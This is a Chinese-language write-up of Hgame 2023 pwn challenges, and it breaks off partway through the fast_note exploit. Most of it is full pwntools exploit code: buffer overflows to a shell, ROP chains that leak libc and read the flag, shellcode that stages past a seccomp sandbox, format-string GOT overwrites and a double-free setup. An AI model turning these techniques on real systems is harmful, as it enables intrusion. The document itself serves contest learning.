Hgame_2023

Hgame2023

1.easy_overflow

在程序close(1)的前提下

获取到了shell,执行exec 1>&0命令重启命令行,便可输出内容

(或者exec < flag,将flag打印到当前终端)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from ctypes import *

context.log_level = "debug"

#libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
banary = "./vuln"
elf = ELF(banary)
ip = 'week-1.hgame.lwsec.cn'
port = 32054

local = 0
if(local==1):
p = process(banary)
else:
p = remote(ip, port)


def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()

payload = b'a'*0x10 + p64(0) + p64(0x401176)
sl(payload)

sl(b'exec 1>&0')
sl(b'cat flag')

pi()

2.ORW

  1. 泄露libc
  2. 计算Gadget地址
  3. 输入空间不够,伪造read_syscall
  4. 手搓&工具:构造orw链子 – open flag; read到栈上; write输出

ret2syscall

调用约定

  • 系统调用号:$rax
  • 第一个参数:$rdi
  • 第二个参数:$rsi
  • 第三个参数:$rdx
  • 第 4 个参数:$r10
  • 第 5 个参数:$r8
  • 第 6 个参数:$r9
  • syscall

shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#---------------------open-------------------------
xor rsi ,rsi #这里0代表只读,选择异或是防止出现0字符,有些时候有影响
xor rdx,rdx #这里是读文件,就不需要设置mode,写成0就好
mov rax,0x67616c662f2e; #pwntools的汇编好像不能push太大的,虽然在x64位里面这个是可以放下的 ./flag
push rax;
mov rdi,rsp; #设置为我们字符串的位置
mov rax,2; #代表open
syscall;

#---------------------read-------------------------
mov rdi,rax
mov rsi,rsp #设置保存的位置
mov rdx,0x30
mov rax,0 #read到我们的栈上
syscall

#---------------------write-------------------------
mov rdi,1 #1代表标准输出
mov rsi,rsp
mov rdx,0x30
mov rax,1 #写到我们的标准输出来
syscall

pwntools工具

1
2
3
4
#sh3=asm(shellcraft.open('./flag.txt'))
sh3+=asm(shellcraft.open('./flag'))
sh3+=asm(shellcraft.read(3,mmap_place+0x300,0x100))
sh3+=asm(shellcraft.write(1,mmap_place+0x300,0x100))

分析

本题为ret2libc,寻找ROP链,可在权限为rw–权限下进行

实际是通过rop链,模拟shellcode

1
2
3
4
5
#orw_payload = b'./flag\x00\x00'
orw_payload = b'a'*8 + p64(pop_rsi_ret) + p64(stack_addr) + p64(libc.sym['read']) + p64(leave_ret)
orw_payload += p64(pop_rdi_ret) + p64(stack_addr) + p64(pop_rsi_ret) + p64(0) + p64(libc.sym['open'])
orw_payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(stack_addr) + p64(pop_rdx_ret) + p64(0x50) + p64(libc.sym['read'])
orw_payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(stack_addr) + p64(pop_rdx_ret) + p64(0x30) + p64(libc.sym['write'])

下面这种orw,是ret2shellcode,需要有内存空间为rwx-权限

1
2
3
4
#sh3=asm(shellcraft.open('./flag.txt'))
sh3+=asm(shellcraft.open('./flag'))
sh3+=asm(shellcraft.read(3,mmap_place+0x300,0x100))
sh3+=asm(shellcraft.write(1,mmap_place+0x300,0x100))

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
from ctypes import *

context.log_level = "debug"
context.arch = 'amd64'

libc = ELF("./libc-2.31.so")
banary = "./vuln"
elf = ELF(banary)

ip = 'week-1.hgame.lwsec.cn'
port = 30604

local = 0
if(local==0):
p = process(banary)
else:
p = remote(ip, port)


def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()

#------------------1.leak libc------------------
rdi_ret = 0x0000000000401393
rsi_r15_ret = 0x0000000000401391
ret = 0x000000000040101a
main = 0x40130C
leave_ret = 0x4012EE
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

payload = b'a'*256 + p64(0)
payload += p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
sa(b'task.',payload)

puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg('puts_addr')
libc_base = puts_addr - libc.sym['puts']
lg('libc_base')

#------------------2.Gadget---------------------
read_addr = libc_base + libc.sym['read']
open_addr = libc_base + libc.sym['open']
write_addr = libc_base + libc.sym['write']
pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;')).__next__()
pop_rsi_ret = libc_base + 0x2601f
pop_rdx_ret = libc_base + 0x142c92



fake_stack = 0x404060 + 0x200 #bss_end + 0x200
flag = fake_stack
flag_content = 0x404060 + 0x300
leave_ret = 0x00000000004012be

#-----------------3.Stack_pivot + read----------
payload = b'a'*0x100 + p64(fake_stack)
payload += p64(pop_rsi_ret) + p64(fake_stack)
payload += p64(read_addr) + p64(leave_ret)

sa(b'task.', payload)

#------------------4.ORW------------------------
#orw_payload = b'./flag\x00\x00'
orw_payload = b"./flag\x00\x00"
orw_payload += p64(pop_rdi_ret) + p64(flag) + p64(pop_rsi_ret) + p64(0) + p64(open_addr) #open
orw_payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(flag_content) + p64(pop_rdx_ret) + p64(0xff) + p64(read_addr) #read
orw_payload += p64(pop_rdi_ret) + p64(flag_content) + p64(puts_addr) #puts

sleep(0.5)
s(orw_payload)

pi()

3.simple_shellcode

调用号

/usr/include/x86_64-linux-gnu/asm/unistd_64.h

1
2
3
#define __NR_read 0
#define __NR_write 1
#define __NR_open 2

分析

sandbox

1
2
3
4
5
6
7
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0004
0002: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0004
0003: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0004: 0x06 0x00 0x00 0x00000000 return KILL

main

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
mmap((void *)0xCAFE0000LL, 0x1000uLL, 7, 33, -1, 0LL);
puts("Please input your shellcode:");
read(0, (void *)0xCAFE0000LL, 0x10uLL);
sandbox();
MEMORY[0xCAFE0000]();
return 0;
}

只有0x10字节,所以通过构造一个read,再写shellcode

read(0, 0xCAFE0000, 0x100)

1
2
3
4
5
6
mov rax, 0   		#调用号
mov rdi, 0 #第一个参数:fd
mov rsi, 0xCAFE0000 #第二个参数:buf
mov rdx, 0x100 #第三个参数:size
syscall

pwntools翻译

1
2
3
4
5
6
7
8
shellcode='''
mov rax, 0
mov rdi, 0
mov rsi, 0xCAFE0000
mov rdx, 0x100
syscall
'''
payload = asm(shellcode)

但是很明显,长度大于0x10

调试

shellcode执行位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
   0x55646e0553b0 <main+122>       mov    rdx, qword ptr [rbp - 8]
0x55646e0553b4 <main+126> mov eax, 0
► 0x55646e0553b9 <main+131> call rdx <0xcafe0000>

0x55646e0553bb <main+133> mov eax, 0
0x55646e0553c0 <main+138> leave
0x55646e0553c1 <main+139> ret

#寄存器
RAX 0x0
RBX 0x55646e0553d0 (__libc_csu_init) ◂— endbr64
RCX 0x7f0d9feeed3e (prctl+14) ◂— cmp rax, -0xfff
RDX 0xcafe0000 ◂— mov rsi, rdx /* 0x24242c8348d68948 */
RDI 0x16
RSI 0x2
R8 0x0
R9 0x0
R10 0x7f0d9feeed3e (prctl+14) ◂— cmp rax, -0xfff
R11 0x217
R12 0x55646e055100 (_start) ◂— endbr64
R13 0x7ffef8370030 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7ffef836ff40 ◂— 0x0
RSP 0x7ffef836ff30 —▸ 0x7ffef8370030 ◂— 0x1
*RIP 0x55646e0553b9 (main+131) ◂— call rdx

目的:是往0xcafe0000地址处,继续写东西

解法1:缩短read_shellcode

根据上图的寄存器,写汇编,实现一个新read函数的系统调用,尽可能缩短长度–使用32位寄存器及指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 RAX  0x0
RBX 0x55646e0553d0 (__libc_csu_init) ◂— endbr64
RCX 0x7f0d9feeed3e (prctl+14) ◂— cmp rax, -0xfff
RDX 0xcafe0000 ◂— mov rsi, rdx /* 0x24242c8348d68948 */
RDI 0x16
RSI 0x2
R8 0x0
R9 0x0
R10 0x7f0d9feeed3e (prctl+14) ◂— cmp rax, -0xfff
R11 0x217
R12 0x55646e055100 (_start) ◂— endbr64
R13 0x7ffef8370030 ◂— 0x1
R14 0x0
R15 0x0

mov rax, 0 #已经满足
mov rdi, 0
mov rsi, 0xCAFE0000
mov rdx, 0x100
syscall

1-1:利用原本寄存器,缩短shellcode

1
2
3
mov esi,edx
xor edi,edi
syscall

1-2:xchg指令

原子指令,交换两个数据()的值, xchg dest ,src

1
2
3
xchg edx, esi
xchg r14d, edi
syscall

2:借助nop滑板划到orw的shellcode

滑板指令:nop

当碰见这些指令时,不会执行,直接一条条跳过

0xCAFE0000处占有0x6空间的指令,需要跳过

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
payload = flat([
asm('''
mov esi, edx
xor edi, edi
syscall
''')
])
sendline_after_clean(payload)

# 生成orw的shellcode
payload = flat([
asm("nop")*0x6,
asm(shellcraft.cat("./flag"))
])

目的:是往0xcafe0000地址处,继续写东西

解法2:利用call特性

call指令会将下一条指令的地址,push进栈,因此我们可以利用栈中的数据跳转到main函数的任意位置

所以,只要设置好rsi的值,通过pop 到某寄存器,再jmp该寄存器,到main函数中read函数调用处,实现目的

shellcode前寄存器状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 RAX  0x0
RBX 0x55646e0553d0 (__libc_csu_init) ◂— endbr64
RCX 0x7f0d9feeed3e (prctl+14) ◂— cmp rax, -0xfff
RDX 0xcafe0000 ◂— mov rsi, rdx /* 0x24242c8348d68948 */
RDI 0x16
RSI 0x2
R8 0x0
R9 0x0
R10 0x7f0d9feeed3e (prctl+14) ◂— cmp rax, -0xfff
R11 0x217
R12 0x55646e055100 (_start) ◂— endbr64
R13 0x7ffef8370030 ◂— 0x1
R14 0x0
R15 0x0

mov rax, 0 #已经满足
mov rdi, 0
mov rsi, 0xCAFE0000
mov rdx, 0x100
syscall

Gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:000000000000138B 48 8B 45 F8                   mov     rax, [rbp+buf]
.text:000000000000138F BA 10 00 00 00 mov edx, 10h ; nbytes
.text:0000000000001394 48 89 C6 mov rsi, rax ; buf

.text:0000000000001397 BF 00 00 00 00 mov edi, 0 ; fd
.text:000000000000139C B8 00 00 00 00 mov eax, 0
.text:00000000000013A1 E8 2A FD FF FF call _read
.text:00000000000013A1
.text:00000000000013A6 B8 00 00 00 00 mov eax, 0
.text:00000000000013AB E8 9E FE FF FF call sandbox
.text:00000000000013AB
.text:00000000000013B0 48 8B 55 F8 mov rdx, [rbp+buf]
.text:00000000000013B4 B8 00 00 00 00 mov eax, 0
.text:00000000000013B9 FF D2 call rdx
.text:00000000000013B9
.text:00000000000013BB B8 00 00 00 00 mov eax, 0
.text:00000000000013C0 C9 leave
.text:00000000000013C1 C3 retn

shellcode

1
2
3
4
mov esi, edx  #设esi为0xcafe0000
pop r15 #记录上一条指令的地址
sub r15, 0x24 #计算指令地址到0x1397
jmp r15

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
payload = flat([
asm('''
mov esi, edx
pop r15
sub r15, 0x24
jmp r15
''')
])
pause()
sa(b'shellcode:', payload)


# 生成orw的shellcode
payload = flat([
asm(shellcraft.cat("./flag"))
])
pause()
s(payload)

exp

解法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from ctypes import *

libc = cdll.LoadLibrary("./libc-2.31.so")
banary = "./vuln"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"
context.arch = 'amd64'

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()

#gdb.attach(p)
#pause()

payload = flat([
asm('''
mov esi, edx
xor edi, edi
syscall
''')
])
#pause()
sa(b'shellcode:', payload)

payload = flat([
asm("nop")*0x6,
asm(shellcraft.cat("./flag"))
])
#pause()
s(payload)

pi()

4.YukkuriSay

HINTS:

格式化占位符的值来自于函数的参数,同时64位程序传参不是只用寄存器

%n占位符是存在溢出的

fmt

偏移

linux下32位程序是栈传参,从左到右参数顺序为$esp+4,$esp+8,…;因此$esp+x的位置应该是格式化第x/4个参数。
linux下64位程序是寄存器加栈传参,从左到右参数顺序为$rdi,$rsi,$rdx,$rcx,$r8,$r9,$rsp+8,…;因此$rsp+x的位置应该是格式化第x/8+6个参数。

符号

用于地址泄露:%x、%s、%p等;

用于地址写:

  1. %hhn(写入一字节),%hn(写入两字节),%n(32位写四字节,64位写8字节);

  2. %< number>$type:直接作用第number个位置的参数,如:%7$x读第7个位置参数值,%7$n对第7个参数位置进行写。

  3. %< number>c:输出number个字符,配合%n进行任意地址写,例如”%{}c%{}$hhn”.format(address,offset)就是向offset0参数指

    向的地址最低位写成address。

栈上格式化字符串漏洞:先泄露地址,包括ELF程序地址和libc地址,然后将需要改写的GOT表地址直接传到栈上,同时利用%c%n的方法改写入system或one_gadget地址,最后就是劫持流程。

非栈上(bss段的)格式化字符串漏洞

不能直接布栈,再劫持程序流实现,所以需要借助跳板。

分析

在循环内输入的内容存于栈上,且循环中的print_str可以输出栈上内容,跳出循环后,存在一个bss段的格式化字符串漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 vuln()
{
int v1; // [rsp+8h] [rbp-118h]
char s1[4]; // [rsp+Ch] [rbp-114h] BYREF
char buf[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+118h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("What would you like to let Yukkri say?");
do
{
v1 = read(0, buf, 0x100uLL);
if ( buf[v1 - 1] == 10 )
buf[v1 - 1] = 0;
print_str(buf);
puts("anything else?(Y/n)");
__isoc99_scanf("%2s", s1);
}
while ( strcmp(s1, "n") && strcmp(s1, "N") );
puts("Yukkri prepared a gift for you: ");
read(0, str, 0x100uLL);
printf(str);
return __readfsqword(0x28u) ^ v4;
}

思路

算偏移

$rsp+x的位置应该是格式化第x/8+6个参数。

在这里插入图片描述

输入处在rsp+16,所以偏移为16/8 + 6 == 8!!!

在这里插入图片描述

  1. 泄露libc地址
  2. 泄露栈地址(调试出来,看栈上内容)
  3. 布栈
  4. 改Got值
  5. getshell

布栈

我们格式化字符串用%hhn替换需要从小到大排序(因为在后面的会包含前面的数量)

所以可以考虑将printf分为两次修改,一次修改一个字节,一次修改两个字节,而修改返回地址也需要修改两个字节

因此prinft的got地址肯定是放在最前面的,而通过一开始的泄露我们可以知道修改printf的两个字节要放在修改返回地址的后面

将栈设置为:printf_got + stack_addr+280(ret) + printf_got+1

此时:

偏移8:栈1,printf_got

偏移9:栈2,ret_main

偏移10:栈3,printf_got + 1

改地址

定位到printf的got地址,通过格式化字符串漏洞实现任意地址写,实现覆盖printf_got为system

1
2
3
4
5
6
7
8
9
10
sys1=system&0xff  		 # system的低一字节
sys2=(system>>8)&0xffff # system的低二三字节
gift_addr=gift&0xffff # gift的低二字节
print(sys1)
print(sys2)
print(gift_addr)

payload3 = '%'+ str(sys1 )+ 'c%8$hhn'
payload3 += '%'+ str((gift_addr)- (sys1)) + 'c%9$hn'
payload3 += '%'+ str(sys2-gift_addr) + 'c%10$hn'

相减是因为后面地址替换的数量有包含前面已经替换的数量

右移8是因为两位十六进制数就是八位二进制数

执行前:

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
[*]  pri -->    0x7fddc51a7c90 
[*] system --> 0x7fddc5198290

sys1: 144 '\x90'
sys2:6530 '\x19\x82'
gift:5745 '\x16\x71'

%144 c%8$hhn
%5601 c%9$hn
%785 c%10$hn

通过偏移定位,布栈的时候是将printf的got地址分成两部分进行写入,第一次偏移8,修改末位字节,第二次偏移9,修改ret地址,第三次偏移10,修改printf的低二三字节

执行后

在这里插入图片描述

解法1: 常规

获取栈地址后更改返回地址和printf的got值

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
from ctypes import *

libc = ELF("./libc-2.31.so")
banary = "./vuln"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"
context.arch = 'amd64'

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
pi = lambda : p.interactive()


#--------------------1.leak_libc--------------------
payload = b'a'*0xe0 + b'b'*0x8
sa('What would you like to let Yukkri say?',payload)

libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))-libc.symbols['setbuffer']-204
lg('libc_base')
#pause()

#--------------------2.leak_stack--------------------
sla(b'else?(Y/n)',b'Y')
payload1 = b'a'*0xf8 + b'c'*0x8
s(payload1)

ru(b'c'*5)
stack_addr= u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x120
lg('stack_addr')

#--------------------3.make_stack --------------------
sla(b'else?(Y/n)',b'Y')

pri=libc_base+libc.symbols['printf']
system=libc_base+libc.symbols['system']
print_got=elf.got['printf']

lg('pri')
lg('system')
lg('print_got')

#stack_addr+280 --> rbp+8(ret) --> main
payload=p64(print_got) + p64(stack_addr+280) + p64(print_got+1)
s(payload)

#-------------------- 4.print_got --> system --------------------
sla('else?(Y/n)',b'n')

gift= 0x401671
sys1 = system & 0xff
sys2 = (system>>8) & 0xffff
gift_addr = gift & 0xffff
print(sys1)
print(sys2)
print(gift_addr)

payload3 = '%'+ str(sys1 ) + 'c%8$hhn'
payload3 += '%'+ str((gift_addr)- (sys1)) + 'c%9$hn'
payload3 += '%'+ str(sys2-gift_addr) + 'c%10$hn'

debug()

pause()

sa('gift for you: \n',payload3)
sleep(0.5)

pause()

s(b'/bin/sh\x00')

pi()

解法2:

利用setbuffer函数泄露libc, 更改stack_check_fail的got为后门,触发canary,调用stack_check_fail

https://peterliuzhi.top/writeup/hgame-week2-pwn-writeup/#exp-1

贴个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8, p16
from LibcSearcher import LibcSearcher
import ctypes

rmt: bool = False
fn: str = "./HGame-week2-YukkuriSay"
libc_name: str = "./libc-2.31.so"
port: str = "31110"
if_32: bool = False
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)

def suclog(*args, **kwargs):
# args是变量名,是字符串
for k in args:
v = globals()[k]
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")
for k, v in kwargs.items():
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")

def send_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
if until is not None:
p.recvuntil(flat(until))
else:
received = p.clean(timeout)
if not no_show:
print(f"[$]received:\n{received}")
p.send(flat(content))


def sendline_after_clean(content: bytes = b"", until: bytes = None,\
timeout: float = 0.05, no_show: bool = True):
send_after_clean([content, p.newline], until, timeout, no_show)

def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
received = p.clean(timeout)
if not no_show:
print(f"[$]received:\n{received}")
p.interactive()

def c_val(value: int, c_type: string) -> bytes:
type_dict = {
"long": ctypes.c_long,
"longlong": ctypes.c_longlong,
"ulong": ctypes.c_ulong,
"ulonglong": ctypes.c_ulonglong,
"int8": ctypes.c_int8,
"int16": ctypes.c_int16,
"int32": ctypes.c_int32,
"int64": ctypes.c_int64,
"uint8": ctypes.c_uint8,
"uint16": ctypes.c_uint16,
"uint32": ctypes.c_uint32,
"uint64": ctypes.c_uint64,
"int": ctypes.c_int,
"char": ctypes.c_char,
"bool": ctypes.c_bool,
"float": ctypes.c_float,
"double": ctypes.c_double,
"ushort": ctypes.c_ushort,
"byte": ctypes.c_byte,
"longdouble": ctypes.c_longdouble,
"size_t": ctypes.c_size_t,
"ssize_t": ctypes.c_ssize_t,
"ubyte": ctypes.c_ubyte
}
try:
return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
except:
try:
return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
except:
error(f"无法转换{value}或不存在类型{c_type}")

def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
return ctypes.CDLL(libc_name, args, kwargs)

def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
is_canary: bool = False, bound: str = None) -> int:
if prev_string is not None:
p.recvuntil(flat(prev_string))
if bound is not None:
bound = flat(bound)
if from_bytes:
if bound is not None:
return ug(p.recvuntil(bound)[:-len(bound)].ljust(8, b"\x00"))
if if_32:
return ug(p.recv(4))
else:
if is_canary:
return ug(p.recv(7).rjust(8, b"\x00"))
else:
return ug(p.recv(6).ljust(8, b"\x00"))
else:
if bound is not None:
return int(p.recvuntil(bound)[:-len(bound)], 16)
else:
if if_32:
return int(p.recv(10), 16)
else:
if is_canary:
return int(p.recv(18), 16)
else:
return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
if isinstance(formula, bytes):
formula = formula.decode("UTF-8")
formula = formula.strip()
formula = formula.strip("\n")
formula = formula.replace("x", "*")
formula = formula.replace("^", "**")
formula = formula.replace("÷", "/")
if not precise:
formula = formula.replace("//", "/")
formula = formula.replace("/", "//")
return bytes(str(eval(formula)), encoding="UTF-8")
...

p = None

def pwn():
global p
if rmt:
p = remote("week-2.hgame.lwsec.cn", port)
else:
if if_debug:
p = gdb.debug(fn, """
b* 0x4016A4
c
""", env=env)
else:
p = process(fn, env=env)
# 11111111
# %8$s
payload = flat([
b"a"*(0xe0),
b"b"*8,
])
send_after_clean(payload)
base_addr = recv_and_transform(b"b"*8) - libc.sym['setbuffer'] - 204
system_addr = base_addr + libc.sym['system']
one = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = base_addr + one[1]
suclog(
base_addr=base_addr,
one_gadget=one_gadget,
system_addr=system_addr
)
sendline_after_clean("Y", "anything else?(Y/n)\n")

payload = flat([
b"a"*(0xf8),
b"b"*8,
])
send_after_clean(payload)
stack_addr = recv_and_transform(b"b"*6) - 0x8
suclog(stack_addr=stack_addr)
sendline_after_clean("Y", "anything else?(Y/n)\n")

payload = flat([
m_elf.got['printf'],
m_elf.got['printf'] + 2,
m_elf.got['printf'] + 4,
stack_addr,
stack_addr + 2
])
sendline_after_clean(payload)
sendline_after_clean("n", "anything else?(Y/n)\n")
return_addr = 0x401671
write1 = system_addr & 0xffff
write2 = ((system_addr >> (2*8)) & 0xffff)
write3 = ((system_addr >> (4*8)) & 0xffff)
ret1 = return_addr & 0xffff
ret2 = (return_addr >> (2*8)) & 0xffff
which_write = {write1:8, write2:9, write3:10, ret1: 11, ret2:12}
all_write = [write1, write2, write3, ret1, ret2]
all_write.sort()
payload = ""
tmp = 0
for to_write in all_write:
payload += f"%{to_write-tmp}c%{which_write[to_write]}$hn"
tmp = to_write
# %43$n
# payload = f"%{write2}c%8$hn%{write1-write2}c%9$hn%{write3-write1}c%10$hn"
sendline_after_clean(payload, "a gift for you: \n")
sendline_after_clean(b"/bin/sh\x00")

pwn()
interactive_after_clean()

6.fast_note

glibc2.23

fastbin arbitrary alloc

利用UAF漏洞,形成一个double free

在目标target附近寻找一个可用的fake_chunk

  • size大小为0x70 - 0x7F之间(有利于用错字节找到fake_chunk)
  • fake_chunk的内容部分必须包含target的地址(在填充fake_chunk内容的同时修改target)

分析

菜单题,fastbin attack

在free的时候,存在UAF漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 delete_note()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v1);
if ( v1 <= 0xF )
{
if ( (&notes)[v1] )
free((&notes)[v1]);
else
puts("Page not found.");
}
else
{
puts("There are only 16 pages in this notebook.");
}
return __readfsqword(0x28u) ^ v2;
}

思路

第一种:fastbin arbitrary alloc

  1. 构造出一个unsorted bin,泄露fd上的值

  2. libc: 获取main_arena+88的地址,main_arena__malloc_hook差0x10字节

    1
    2
    main_arena = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 88 - 0x10
    libc_base = main_arena - libc.symbols['__malloc_hook']
  3. 利用UAF,实现double free

  4. 定位到目标地址处,找到一个类heap的地址addr(addr+0x8处存在一个size位)

  5. 技巧Arbitrary Alloc,填充,改free函数的got表地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *
from ctypes import *
#context.terminal = ['tmux', 'splitw', '-h']

libc = ELF('./libc-2.23.so')
banary = "./vuln"
elf = ELF(banary)
ip = '1'
port = 1

local = 1
if(local==1):
p = process(banary)
else:
p = remote(ip, port)
context.log_level = "debug"

def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))
